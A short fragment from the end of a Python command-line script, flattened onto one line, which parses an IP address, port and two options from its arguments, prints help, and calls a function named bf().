scan.\n\n") file.close() exit() # print help if not enough arguments if len(argv) < 5: info() # exit exit() else: # make IP and so on global IP, PORT, OPT, IN IP = argv[1] PORT = argv[2] OPT = argv[3] IN = argv[4] bf() # if -h given then print the help screen if argv[1] == "-h": info() # exit exit() # EOF [EOF]